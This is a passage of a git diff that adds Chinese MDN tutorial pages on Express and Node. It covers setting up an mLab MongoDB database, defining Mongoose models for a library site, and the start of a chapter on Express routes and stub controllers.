src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"> + <ul> + <li>在 Plan Type(方案类型)部分中,选择 SANDBOX(Free)免费沙箱方案。</li> + <li>从 <em>Cloud Provider</em>(云服务提供商)部分选择任意提供商。不同地区适用不同提供商(显示在选定的计划类型下面)。</li> + <li>点击 <strong>Continue(继续)</strong>按钮。</li> + </ul> + </li> + <li>此时将打开 <em>Select Region</em>(选择区域)屏幕。 + <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p> + + <ul> + <li> + <p>选择离你最近的地区,然后 <strong>Continue</strong>。</p> + </li> + </ul> + </li> + <li> + <p>将打开 Final Details(最后的细节)屏幕。<br> + <img alt="New deployment database name" src="https://mdn.mozillademos.org/files/15663/mLab_new_deployment_final_details.png" style="height: 569px; width: 1293px;"></p> + + <ul> + <li> + <p>输入新数据库的名称 <code>local_library</code>,然后 <strong>Continue</strong>。</p> + </li> + </ul> + </li> + <li> + <p>将打开 <em>Order Confirmation</em>(订单确认)屏幕。<br> + <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p> + + <ul> + <li> + <p>点击 <strong>Submit Order(提交订单)</strong>以创建数据库。</p> + </li> + </ul> + </li> + <li> + <p>将返回到主屏幕。点击刚创建的新数据库可以打开详细信息屏幕。当前数据库还没有任何数据。</p> + + <p><img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br> + <br> + 表单显示了访问数据库的 URL(上图的红框)。此时可以创建一个用户,并在 URL 中指定用户名,就可以访问这个 URL 了。</p> + </li> + <li>点击 <strong>Users </strong>选项卡,点击 <strong>Add database user </strong>按钮。</li> + <li>输入用户名和密码(两次),然后按 <strong>Create</strong>。不要选择 Make <em>read-only</em>。<br> + <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li> +</ol> + +<p>现在数据库已经创建好了,并且有一个可访问的 URL(带有用户名和密码):<code>mongodb://<dbuser>:<dbpassword>@ds019038.mlab.com:19038/local_library</code></p> + +<h2 id="安装_Mongoose">安装 Mongoose</h2> + +<p>打开终端,并转到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">LocalLibrary 站点骨架</a> 的目录。通过以下命令安装 Mongoose(及其依赖项),并将其添加至 <strong>package.json </strong>文件,若你在阅读 <strong>Mongoose 入门</strong> 时已经完成这一操作,请忽略本段。</p> + +<pre class="brush: bash notranslate">$ npm install mongoose +</pre> + +<h2 id="连接到_MongoDB_2">连接到 MongoDB</h2> + +<p>打开 <strong>/app.js</strong>(位于项目根目录),并将以下代码复制到声明 Express 应用对象的位置(<code>var app = express();</code> 之后)。将数据库 URL 字符串('在此插入数据库_URL')替换为真实的 URL(<a href="#架设_MongoDB_数据库">设置自 mLab</a>)。</p> + +<pre class="brush: js notranslate">// 设置 Mongoose 连接 +const mongoose = require('mongoose'); +const mongoDB = '<em>在此插入数据库_URL</em>'; +mongoose.connect(mongoDB, { useNewUrlParser: true , useUnifiedTopology: true}); +mongoose.Promise = global.Promise; +const db = mongoose.connection; +db.on('error', console.error.bind(console, 'MongoDB 连接错误:'));</pre> + +<p>如上文 <a href="#Mongoose_入门">Mongoose 入门</a> 所讲,以上代码创建了与数据库的默认连接,并绑定了错误事件(错误信息将及时打印到控制台)。</p> + +<h2 id="定义_LocalLibrary_模式">定义 LocalLibrary 模式</h2> + +<p><a href="#一模型一文件">如上文所述</a>,我们将为每个模型定义单独的模块。首先在项目根目录中创建一个文件夹用来保存模型(<strong>/models</strong>),然后为每个模型创建单独的文件:</p> + +<pre class="notranslate">/express-locallibrary-tutorial // 项目根目录 + <strong>/models</strong> + <strong>author.js</strong> + <strong>book.js</strong> + <strong>bookinstance.js</strong> + <strong>genre.js</strong> +</pre> + +<h3 id="作者模型(Author)">作者模型(Author)</h3> + +<p>将下方的 <code>Author</code> 模式代码复制粘贴至 <strong>./models/author.js</strong> 文件中。模式中定义了两个 <code>String</code> 模式类型来表示作者的姓氏和名字(这两个字段是必需的,且长度不能超过 100 字符),定义了两个 <code>Date</code> 字段做为作者的生卒日期。</p> + +<pre class="brush: js notranslate">const mongoose = require('mongoose'); + +const Schema = mongoose.Schema; + +const AuthorSchema = new Schema( + { + first_name: {type: String, required: true, max: 100}, + family_name: {type: String, required: true, max: 100}, + date_of_birth: {type: Date}, + date_of_death: {type: Date}, + } +); + +<strong>// 虚拟属性'name':表示作者全名 +AuthorSchema + .virtual('name') + .get(function () { + return this.family_name + ', ' + this.first_name; + });</strong> + +// 虚拟属性'lifespan':作者寿命 +AuthorSchema +<strong> </strong>.virtual('lifespan') + .get(function () { + return (this.date_of_death.getYear() - this.date_of_birth.getYear()).toString(); + }); + +// 虚拟属性'url':作者 URL +AuthorSchema + .virtual('url') + .get(function () { + return '/catalog/author/' + this._id; + }); + +// 导出 Author 模型 +module.exports = mongoose.model('Author', AuthorSchema); +</pre> + +<p>我们还为 <code>AuthorSchema</code> 声明了一个 "<code>url</code>" 虚拟属性,以返回模型特定实例的绝对 URL。在模板中需要获取特定作者的链接时可使用该属性。</p> + +<div class="note"> +<p><strong>注:</strong>有必要将 URL 声明为虚拟属性,因为这样,项目的 URL 就只需在一处进行更改。<br> + 此时,使用此 URL 的链接还不能工作,因为目前还没有设置任何路由,无法处理特定模型实例的代码。这个问题下节再讲。</p> +</div> + +<p>模块的最后对模型进行导出。</p> + +<h3 id="藏书模型(Book)">藏书模型(Book)</h3> + +<p>将下方的 <code>Book</code> 模式代码复制粘贴至 <strong>./models/book.js</strong> 文件中。大体结构与作者模型相似,有三个字符串字段, 一个用于获取特定藏书记录 URL 的虚拟属性,代码最后对模型进行导出。</p> + +<pre class="brush: js notranslate">const mongoose = require('mongoose'); + +const Schema = mongoose.Schema; + +const BookSchema = new Schema({ + title: {type: String, required: true}, +<strong> author: {type: Schema.Types.ObjectId, ref: 'Author', required: true},</strong> + summary: {type: String, required: true}, + isbn: {type: String, required: true}, +<strong> genre: [{type: Schema.Types.ObjectId, ref: 'Genre'}]</strong> +}); + +// 虚拟属性'url':藏书 URL +BookSchema + .virtual('url') + .get(function () { + return '/catalog/book/' + this._id; + }); + +// 导出 Book 模块 +module.exports = mongoose.model('Book', BookSchema); +</pre> + +<p>主要区别在于:此处有两个字段是对其他模型的引用(黑体字所示):</p> + +<ul> + <li><code>author</code> 是对单一 <code>Author</code> 模型对象的引用,并且是必需的。</li> + <li><code>genre</code> 是对 <code>Genre</code> 模型(目前尚未声明)对象数组的引用。</li> +</ul> + +<h3 id="藏书副本模型(BookInstance)">藏书副本模型(BookInstance)</h3> + +<p>最后将 <code>BookInstance</code> 模式代码复制粘贴至 <strong>./models/bookinstance.js</strong> 文件中。 <code>BookInstance</code> 表示可供借阅的藏书的特定副本,其中包含该副本是否可用、还书期限,“出版批次”或版本详细信息。</p> + +<pre class="brush: js notranslate">const mongoose = require('mongoose'); + +const Schema = mongoose.Schema; + +const BookInstanceSchema = new Schema({ + // 指向相关藏书的引用 + book: { type: Schema.Types.ObjectId, ref: 'Book', required: true }, + // 出版项 + imprint: {type: String, required: true}, + status: { + type: String, + required: true, + <strong>enum: </strong>['Available', 'Maintenance', 'Loaned', 'Reserved'], + <strong>default: </strong>'Maintenance'<strong> + </strong>}, + due_back: {type: Date, <strong>default: Date.now</strong>} + } +); + +// 虚拟属性'url':藏书副本 URL +BookInstanceSchema + .virtual('url') + .get(function () { + return '/catalog/bookinstance/' + this._id; + }); + +// 导出 BookInstancec 模型 +module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> + +<p>以上代码有点儿新东西,即字段选项(黑体字):</p> + +<ul> + <li><code>enum</code>:可以设置字符串允许的值。本例中可指定书籍的状态。(使用枚举可以避免状态中出现错误拼写或不允许的值)</li> + <li><code>default</code>:用默认值可以设定新建藏书实例的默认状态(为'馆藏维护'),还可以将默认还书期限(<code>due_back</code>)日期设置为今天(<code>now</code>)。(设置日期时请注意 <code>Date</code> 函数的用法!)</li> +</ul> + +<p>其他内容和之前的模式大同小异。</p> + +<h3 id="图书种类模型(Genre)——挑战自我!">图书种类模型(Genre)——挑战自我!</h3> + +<p>打开 <strong>./models/genre.js </strong>文件,并创建一个模式来存储 <code>Genre</code>(书本的类别,例如它是小说类还是纪实类,是爱情题材还是军事史题材,等)。</p> + +<p>与之前模型的定义方式相似:</p> + +<ul> + <li>该模型应该有一个 <code>String</code> 模式类型,命名为 <code>name</code> ,用来描述图书种类。</li> + <li><code>name</code> 字段应该是必需的,并且有 3 到 100 个字符。</li> + <li>声明一个 <a href="#虚拟属性">虚拟属性</a>,命名为 <code>url</code>,返回图书类型 URL。</li> + <li>导出模型。</li> +</ul> + +<h2 id="测试——添加项目">测试——添加项目</h2> + +<p>好了,现在所有模型已准备完毕。</p> + +<p>为了测试这些模型(并添加一些示例藏书和项目,以便后续使用),我们来运行一个单独的脚本来为每种类型创建一些项目:</p> + +<ol> + <li>下载(或新建)文件 <a href="https://raw.githubusercontent.com/mdn/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a>,保存在 express-locallibrary-tutorial 目录(<code>package.json</code> 所在位置) 。 + + <div class="note"> + <p><strong>注:</strong>无需深究 <a href="https://raw.githubusercontent.com/mdn/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a>,它只是为数据库添加一些示例数据。</p> + + <p>译注:针对node.js3.0及以后版本,mlab使用“mongodb+srv://”链接而非“mongodb://”, 请对<a href="https://raw.githubusercontent.com/mdn/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a>源码酌情修改,否则会报错而添加数据失败。</p> + </div> + </li> + <li>在项目根目录运行以下命令,以安装脚本所需的异步模块(后续教程再展开讲) + <pre class="brush: bash notranslate">$ npm install async</pre> + </li> + <li>在命令提示符下用 node 运行此脚本,并以 MongoDB 数据库的 URL 作为参数(同 <code>app.js</code> 中替换 <code>insert_your_database_url_here</code> 占位符的 URL): + <pre class="brush: bash notranslate">$ node populatedb <mongodb url></pre> + </li> + <li>该脚本应一路运行至完成,并在终端中记录所创建的项目。</li> +</ol> + +<div class="note"> +<p><strong>提示:</strong>打开 <a href="https://mlab.com/home">mLab</a> 数据库主页面,现在藏书、作者、种类和藏书副本的集合应该都可以打开了,也可以查看单个文档。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>本节介绍了数据库和 ORM(Node/Express 环境)的一些知识,以及定义 Mongoose 模式与模型的方法。随后为 LocalLibrary 网站设计并实现了 <code>Book</code>、<code>BookInstance</code>、<code>Author</code>、<code>Genre</code> 模型。</p> + +<p>本文最后(使用独立运行的脚本)创建了一些测试实例 。下一节将关注如何创建页面以显示这些对象。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="http://expressjs.com.cn/guide/database-integration.html">数据库集成</a> (Express 文档)</li> + <li><a href="http://mongoosejs.com/">Mongoose 站点</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose 指南</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/validation.html">验证</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html">模式类型</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/models.html">模型</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/queries.html">查询</a> (Mongoose 文档)</li> + <li><a href="http://mongoosejs.com/docs/populate.html">填充</a> (Mongoose 文档)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/routes/index.html b/files/zh-cn/learn/server-side/express_nodejs/routes/index.html new file mode 100644 index 0000000000..eca1531fde --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/routes/index.html @@ -0,0 +1,425 @@ +--- +title: Express 教程 4: 路由和控制器 +slug: learn/Server-side/Express_Nodejs/routes +tags: + - Express + - Node + - nodejs + - 初学者 + - 服务器端编程 + - 路由 +translation_of: Learn/Server-side/Express_Nodejs/routes +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">本节将为 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> 站点中所需的资源端点(Endpoint)配置路由。先用空的处理函数搭建起路由处理的模块结构(下节会将它们扩充为真实的处理函数)。并详细介绍了 Express 路由模块的创建方法。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>回顾 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a>。 完成本教程之前小节(<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库 (Mongoose)</a> 等)。了解服务器端编程,了解正则表达式。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>理解简单路由的创建方法。设置示例中所有 URL 端点。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">上节</a> 定义了与数据库交互的 Mongoose 模型,使用一个(独立)脚本创建了一些初始记录。现在可以编写代码来向用户展示这些信息。首先要确定页面中应显示哪些信息,然后定义适当的 URL 来返回这些资源。随后应创建路由(URL 处理器)和视图(模板)来显示这些页面。</p> + +<p>下图展示了 HTTP 请求/响应处理的主数据流和需要实现的行为。图中除视图(View)和路由(Route)外,还展示了控制器(Controller),它们是实际的请求处理函数,与路由请求代码是分开的。</p> + +<p>模型已经创建,现在要创建的主要是:</p> + +<ul> + <li>路由:把需要支持的请求(以及请求 URL 中包含的任何信息)转发到适当的控制器函数。</li> + <li>控制器:从模型中获取请求的数据,创建一个 HTML 页面显示出数据,并将页面返回给用户,以便在浏览器中查看。</li> + <li>视图(模板):供控制器用来渲染数据。</li> +</ul> + +<p><img alt="Express HTTP 请求/响应 路径" src="https://mdn.mozillademos.org/files/16453/Express_MVC.png"></p> + +<p>因此我们需要页面来显示藏书、藏书种类、作者、藏书副本的列表和详细信息,还需要页面来创建、更新和删除记录。这些内容对于本节来说不算少,因此本节将主要集中在路由和控制器设置。本节编写的这些函数都只有框架,后续章节再扩展控制器方法,以使用模型数据。</p> + +<p>第一段提供了 Express 的 <a href="http://expressjs.com/en/4x/api.html#router">Router</a> 中间件的“入门”知识。后续设置 LocalLibrary 路由时将用到这些知识。</p> + +<h2 id="路由入门">路由入门</h2> + +<p>路由是一段 Express 代码,它将 HTTP 动词(<code>GET</code>、<code>POST</code>、<code>PUT</code>、<code>DELETE</code> 等)、URL 路径/模式和处理函数三者关联起来。</p> + +<p>创建路由有几种方法。本教程将使 <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code> 中间件,因为使用它可以将站点特定部分的路由处理程序打包,并使用通用路由前缀访问它们。我们会将所有与图书馆有关的路由保存在 <code>catalog</code> 模块中,在添加处理帐户或其他功能的路由时,可以分开保存。</p> + +<div class="note"> +<p><strong>注:</strong><a href="https://developer.mozilla.org/zh-CN/docs/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction#%E5%88%9B%E5%BB%BA%E8%B7%AF%E7%94%B1%E5%A4%84%E7%90%86%E5%99%A8%EF%BC%88Route_handler%EF%BC%89">Express 简介 > 创建路由处理程序</a> 简要讨论了 Express 应用的路由机制。使用 <code>Router</code> 可以保证更好的模块化(下文所述),且用法与直接在 Express 应用对象定义路由非常类似。</p> +</div> + +<p>本段以下内容介绍使用 <code>Router</code> 定义路由的方法。</p> + +<h3 id="定义和使用单独的路由模块">定义和使用单独的路由模块</h3> + +<p>以下代码举例说明了如何创建路由模块,以及如何在 Express 应用中使用它。</p> + +<p>首先,在 <strong>wiki.js </strong>模块中创建一个维基路由。代码一开始导入 Express 应用对象,用它取得一个 <code>Router</code> 对象,然后用 <code>get()</code> 方法向其添加两个具体的路由。模块的最后导出该 <code>Router</code> 对象。</p> + +<pre class="brush: js notranslate">// wiki.js - 维基路由模块 + +const express = require('express'); +const router = express.Router(); + +// 主页路由 +router.get('/', (req, res) => { + res.send('维基主页'); +}); + +// “关于页面”路由 +router.get('/about', (req, res) => { + res.send('关于此维基'); +}); + +module.exports = router;</pre> + +<div class="note"> +<p><strong>注:</strong>上面的路由处理回调直接定义在了路由函数中。LocalLibrary 的回调将定义在单独的控制器模块中。</p> +</div> + +<p>要在主应用中使用该路由模块,首先应 <code>require</code> 它(<strong>wiki.js</strong>),然后对 Express 应用对象调用 <code>use()</code>(指定路径‘/wiki’),即可将其添加到中间件处理路径。</p> + +<pre class="brush: js notranslate">const wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki);</pre> + +<p>这时 <code>wiki</code> 模块中定义的两个路由就可以从 <code>/wiki/</code> 和 <code>/wiki/about/</code> 访问了。</p> + +<h3 id="路由函数">路由函数</h3> + +<p>上述模块定义了两个典型的路由函数。<code>Router.get()</code> 方法定义的 “about” 路由(下方重现的)仅响应 HTTP GET 请求。第一个参数是 URL 路径,第二个参数是一个回调,在收到带有路径的HTTP GET 请求将调用之。</p> + +<pre class="brush: js notranslate">router.get('/about', (req, res) => { + res.send('关于此维基'); +}); +</pre> + +<p>该回调有三个参数(通常命名为:<code>req</code>、<code>res</code>、<code>next</code>),分别是:HTTP 请求对象、HTTP 响应、中间件链中的下一个函数。</p> + +<div class="note"> +<p><strong>注:</strong>路由函数就是 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Using_middleware">Express 中间件</a>,这意味着它们必须(通过响应)结束请求,否则必须调用链中的 <code>next</code> 函数。上述示例使用<code>send()</code> 完成了请求,所以没有使用 <code>next</code> 参数(参数表中将其省略)。</p> + +<p>上述路由函数只需要一个回调,可以根据需要指定任意数量的回调参数,或一个回调函数数组。每个函数都将加入中间件链,并且将按添加顺序调用(若有回调完成请求则中止当前周期)。</p> +</div> + +<p>此处的回调对响应对象调用 <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code>,当收到带有路径('<code>/about'</code>)的 GET 请求时将返回字符串“关于此维基”。还有许多其它可以结束请求/响应周期 <a href="https://expressjs.com/en/guide/routing.html#response-methods">响应方法</a>,例如,可调用 <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> 来发送 JSON 响应,或调用 <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> 来发送文件。构建 LocalLibrary 最常使用的响应方法是 <code><a href="https://expressjs.com/en/4x/api.html#res.render">render()</a></code>,它使用模板和数据创建并返回 HTML 文件。后续章节进一步讨论。</p> + +<h3 id="HTTP_动词">HTTP 动词</h3> + +<p>上面的示例使用 <code>Router.get()</code> 方法来响应特定路径的 HTTP GET 请求。</p> + +<p><code>Router</code> 还为所有其他 HTTP 动词提供路由方法,大都用法相同:<code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, 和 <code>connect()</code>。</p> + +<p>比如下方代码与上方 <code>/about</code> 路由行为一致,但只响应 HTTP POST 请求。</p> + +<pre class="brush: js notranslate">router.post('/about', (req, res) => { + res.send('关于此维基'); +});</pre> + +<h3 id="路由路径">路由路径</h3> + +<p>路由路径用于定义可请求的端点。之前示例中路径都是字符串,并且必须精确写为:'/'、'/ about'、'/ book',等等。</p> + +<p>路由路径也可以是字符串模式(String Pattern)。可用部分正则表达式语法来定义端点的模式。以下是所涉及的正则表达式(注意,连字符( <code>-</code>)和点(<code>.</code>)在字符串路径中解释为字面量,不能做为正则表达式):</p> + +<ul> + <li><code>?</code>:问号之前的一个字符只能出现零次或一次。例如,路由路径 <code>'/ab?cd'</code> 路径匹配端点 <code>acd</code> 或 <code>abcd</code>。</li> + <li><code>+</code>:加号之前的一个字符至少出现一次。例如,路径路径 <code>'/ab+cd'</code> 匹配端点 <code>abcd</code>、<code>abbcd</code>、<code>abbbcd</code>,等。</li> + <li><code>*</code>:星号可以替换为任意字符串。例如,路由路径 <code>'ab\*cd'</code> 匹配端点 <code>abcd</code>、<code>abXcd</code>、<code>abSOMErandomTEXTcd</code>,等。</li> + <li><code>()</code>:将一个字符串视为一体以执行 <code>?</code>、<code>+</code>、<code>*</code> 操作。例如。 <code>'/ab(cd)?e'</code> 将对 <code>(cd)</code> 进行匹配,将匹配到 <code>abe</code> 和 <code>abcde</code>。</li> +</ul> + +<p>路由路径也可以是 JavaScript <a href="/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions">正则表达式</a>。例如,下面的路由路径将匹配 <code>catfish</code> 和 <code>dogfish</code>,但不会匹配 <code>catflap</code>、<code>catfishhead</code> 等。注意,正则表达式路径不再用引号 <code>"..."</code> 括起来,而是正则表达式语法 <code>/.../</code>。</p> + +<pre class="brush: js notranslate">app.get(/.*fish$/, (req, res) => { + ... +});</pre> + +<div class="note"> +<p><strong>注:</strong>LocalLibrary 的大部分路由都只使用字符串,很少用字符串模式和正则表达式。接下来将讨论“路由参数”。</p> +</div> + +<h3 id="路由参数">路由参数</h3> + +<p>路径参数是命名的 URL 段,用于捕获在 URL 中的位置指定的值。命名段以冒号为前缀,然后是名称(例如 <code>/<strong>:</strong>your_parameter_name/</code>。捕获的值保存在 <code>req.params</code> 对象中,键即参数名(例如 <code>req.params.your_parameter_name</code>)。</p> + +<p>举例说,一个包含用户和藏书信息的 URL:<code>http://localhost:3000/users/34/books/8989</code>,可以这样提取信息(使用 <code>userId</code> 和 <code>bookId</code> 路径参数):</p> + +<pre class="brush: js notranslate">app.get('/users/:userId/books/:bookId', (req, res) => { + // 通过 req.params.userId 访问 userId + // 通过 req.params.bookId 访问 bookId + res.send(req.params); +}); +</pre> + +<p>路由参数名必须由“单词字符”(/<code>[A-Za-z0-9_]</code>/)组成。</p> + +<div class="note"> +<p><strong>注:</strong>URL <em><code>/book/create</code> 会匹配 </em><code>/book/:bookId</code> 这样的路由(将提取值为'<code>create</code>' 的 '<code>bookId</code>')。第一个与传入 URL 相匹配的路由会被使用,因此 <code>/book/create</code> 的路由处理器必须定义在<em> </em><code>/book/:bookId</code> 路由之前,才能妥善处理。</p> +</div> + +<p>以上就是使用路由所有的预备知识。Express 文档中还能找到更多信息:<a href="http://expressjs.com/en/starter/basic-routing.html">基础路由</a> 和 <a href="http://expressjs.com/en/guide/routing.html">路由指南</a>。以下是 LocalLibrary 路由和控制器的设置过程。</p> + +<h2 id="LocalLibrary_所需路由">LocalLibrary 所需路由</h2> + +<p>以下是站点页面的完整 URL 列表。<code><object></code> 是模型名称(<code>book</code>、<code>bookinstance</code>、<code>genre</code>、<code>author</code>),<code><objects></code> 是一组模型,<code><id></code> 是每个 Mongoose 模型实例默认的标识字段(<code>_id</code>)。</p> + +<ul> + <li><code>catalog/</code>:主页。</li> + <li><code>catalog/<objects>/</code>:模型(藏书、藏书副本、藏书种类、作者)的完整列表(例如 /<code>catalog/books/</code>、/<code>catalog/genres/</code> 等)</li> + <li><code>catalog/<object>/<em><id></em></code><em>:具有</em> <code><em>_id</em></code><em> </em>字段值的特定模型的详细信息页面(例如 <code>/catalog/book/584493c1f4887f06c0e67d37</code>)。</li> + <li><code>catalog/<object>/create</code>:添加新模型的表单(例如 <code>/catalog/book/create</code>)。</li> + <li><code>catalog/<object>/<em><id></em>/update</code>:更新具有 <code><em>_id</em></code><em> </em>字段值的特定模型的表单(例如 <code>/catalog/book/584493c1f4887f06c0e67d37/update</code>)。</li> + <li><code>catalog/<object>/<em><id></em>/delete</code>:删除具有 <code><em>_id</em></code><em> </em>字段值的特定模型的表单(例如 <code>/catalog/book/584493c1f4887f06c0e67d37/delete</code>)。</li> +</ul> + +<p>首页和列表页面没有包含任何额外信息。因此它们返回的结果只取决于模型类型和数据库内容,获取信息的查询操作是恒定不变的(类似地,创建对象的代码也没有较大改动)。</p> + +<p>与之相反,其他 URL 是用于处理特定文档/模型实例的,它们会将项目的标识嵌入 URL(上文的 <code><em><id></em></code>)。可以用路径参数来提取嵌入的信息,并传递给路由处理器(后续章节中用于动态获取数据库中的信息)。通过在 URL 中嵌入信息,使得每种类型的所有资源只需要一个路由(例如,所有藏书副本的显示操作只需要一个路由)。</p> + +<div class="note"> +<p><strong>注:</strong>Express 可以通过任何方式构造 URL,可以在 URL 正文中嵌入信息(如上文),或使用 URL <code>GET</code> 参数(例如 <code>/book/?id=6</code>)。无论哪种方法,URL 都应保持整洁、合理且易读(另请参阅 <a href="https://www.w3.org/Provider/Style/URI">W3C 相关建议</a>)。</p> +</div> + +<p>下面我们为上述所有 URL 创建路由处理器回调函数和路由代码。</p> + +<h2 id="创建路由处理器回调函数">创建路由处理器回调函数</h2> + +<p>定义路由之前应先使用单独的“控制器”模块创建回调的结构骨架。(文件/模块结构没有限制,但以下结构很适合当前项目的规模)。</p> + +<p>首先在项目根目录新建一个存放控制器的文件夹(<strong>/controllers</strong>),然后为每个模型创建单独的控制器文件(模块):</p> + +<pre class="notranslate">/express-locallibrary-tutorial // 项目根目录 + <strong>/controllers</strong> + <strong>authorController.js</strong> + <strong>bookController.js</strong> + <strong>bookinstanceController.js</strong> + <strong>genreController.js</strong></pre> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>上述四个文件可到 GitHub 下载 <a href="https://github.com/roy-tian/mdn-examples/blob/master/server/express-locallibrary-tutorial/controllers/dummyControllers.zip">dummyControllers.zip</a>。(链接已失效,请移步英文版查看具体代码)</p> +</div> + +<h3 id="Author_控制器"><code>Author</code> 控制器</h3> + +<p>以下是 <strong>/controllers/authorController.js</strong> 文件的内容:</p> + +<pre class="brush: js notranslate">const Author = require('../models/author'); + +// 显示完整的作者列表 +exports.author_list = (req, res) => { res.send('未实现:作者列表'); }; + +// 为每位作者显示详细信息的页面 +exports.author_detail = (req, res) => { res.send('未实现:作者详细信息:' + req.params.id); }; + +// 由 GET 显示创建作者的表单 +exports.author_create_get = (req, res) => { res.send('未实现:作者创建表单的 GET'); }; + +// 由 POST 处理作者创建操作 +exports.author_create_post = (req, res) => { res.send('未实现:创建作者的 POST'); }; + +// 由 GET 显示删除作者的表单 +exports.author_delete_get = (req, res) => { res.send('未实现:作者删除表单的 GET'); }; + +// 由 POST 处理作者删除操作 +exports.author_delete_post = (req, res) => { res.send('未实现:删除作者的 POST'); }; + +// 由 GET 显示更新作者的表单 +exports.author_update_get = (req, res) => { res.send('未实现:作者更新表单的 GET'); }; + +// 由 POST 处理作者更新操作 +exports.author_update_post = (req, res) => { res.send('未实现:更新作者的 POST'); }; +</pre> + +<p>该模块首先导入了用于访问和更新数据的模型,然后为每个需要处理(添加、更新和删除表单,以及相应的 POST 请求,稍后在 <a href="/zh-CN/docs/learn/Server-side/Express_Nodejs/forms">使用表单</a> 一节中讲解)的 URL 导出一个函数。</p> + +<p>所有函数都遵循 Express 中间件函数的标准形式,三个参数依次为:请求 <code>req</code>、响应 <code>res</code>、当前方法无法完成请求循环时(这里不存在这种情况)调用的 <code>next</code> 函数。上述方法只返回一个字符串,显示相关页面尚未创建。接收路径参数的控制器函数可将参数输出到消息字符串中(代码中出现的 <code>req.params.id</code> )。</p> + +<h3 id="BookInstance、Genre、Book_控制器"><code>BookInstance</code>、<code>Genre</code>、<code>Book</code> 控制器</h3> + +<p>这三个控制器与 <code>Author</code> 的模式完全相同,只是 <code>Book</code> 有一个用于显示站点欢迎页面的 <code>index()</code> 函数:</p> + +<pre class="brush: js notranslate">// /controllers/bookController.js + +const Book = require('../models/book'); + +<strong>exports.index = (req, res) => { res.send('未实现:站点首页'); }; +</strong> +... +</pre> + +<h2 id="创建藏书编目_catalog_路由模组">创建藏书编目 <code>catalog</code> 路由模组</h2> + +<p>定义好控制器后,我们来为 LocalLibrary 网站创建完整的 